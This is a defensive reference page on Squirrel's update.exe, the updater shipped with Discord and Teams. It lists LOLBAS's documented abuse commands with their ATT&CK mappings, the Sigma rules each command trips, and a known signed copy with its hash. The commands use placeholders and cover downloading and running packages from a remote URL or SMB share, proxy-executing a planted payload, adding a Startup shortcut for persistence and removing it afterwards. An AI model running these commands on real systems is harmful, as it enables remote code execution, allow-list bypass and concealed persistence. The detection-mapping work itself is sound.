Identifier / Programs / Windows
update.exe
Update file version info (xCyclopedia)
LOLBAS Download, AWL Bypass, Execute 3 Sigma rules name it 3 ATT&CK techniques 13 documented commands 1 known copy with hashes
How update.exe is abused
Download T1218 System Binary Proxy Execution
--downloadAWL Bypass T1218 System Binary Proxy Execution
--updateExecute T1218 System Binary Proxy Execution
--updateAWL Bypass T1218 System Binary Proxy Execution
--updaterollbackExecute T1218 System Binary Proxy Execution
--updaterollbackExecute T1070 Indicator Removal
--removeshortcutEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for update.exe.
13 documented commands
Download T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file and download the nuget package.
Update.exe --download {REMOTEURL}Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
AWL Bypass T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --update={REMOTEURL}Trips no Sigma process-creation rule.
Execute T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --update={REMOTEURL}Trips no Sigma process-creation rule.
AWL Bypass T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --update={PATH_SMB:folder}Trips no Sigma process-creation rule.
Execute T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --update={PATH_SMB:folder}Trips no Sigma process-creation rule.
AWL Bypass T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --updateRollback={REMOTEURL}Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
Execute T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --updateRollback={REMOTEURL}Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
AWL Bypass T1218 System Binary Proxy Execution User privileges
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"Trips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
AWL Bypass T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --updateRollback={PATH_SMB:folder}Trips no Sigma process-creation rule.
Execute T1218 System Binary Proxy Execution User privileges
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --updateRollback={PATH_SMB:folder}Trips no Sigma process-creation rule.
Execute T1218 System Binary Proxy Execution User privileges
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"Trips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
Execute T1547 Boot or Logon Autostart Execution User privileges
Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
Update.exe --createShortcut={PATH:.exe} -l=StartupTrips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
Execute T1070 Indicator Removal User privileges
Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
Update.exe --removeShortcut={PATH:.exe}-l=StartupTrips no Sigma process-creation rule.
6 of the 13 commands the identifier reads trip a Sigma process-creation rule; 7 trip none. These commands and their descriptions are from LOLBAS’s entry for update.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for update.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real update.exe?
C:\Users\user\AppData\Local\Discord\1 known copy
1.1.1.0 · C:\Users\user\AppData\Local\Discord\Update.exe · signed by Discord Inc.
e510ae1a59dd629d0c03425bcc4457e68926fe7b204154d9eebce9d2985925a1From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.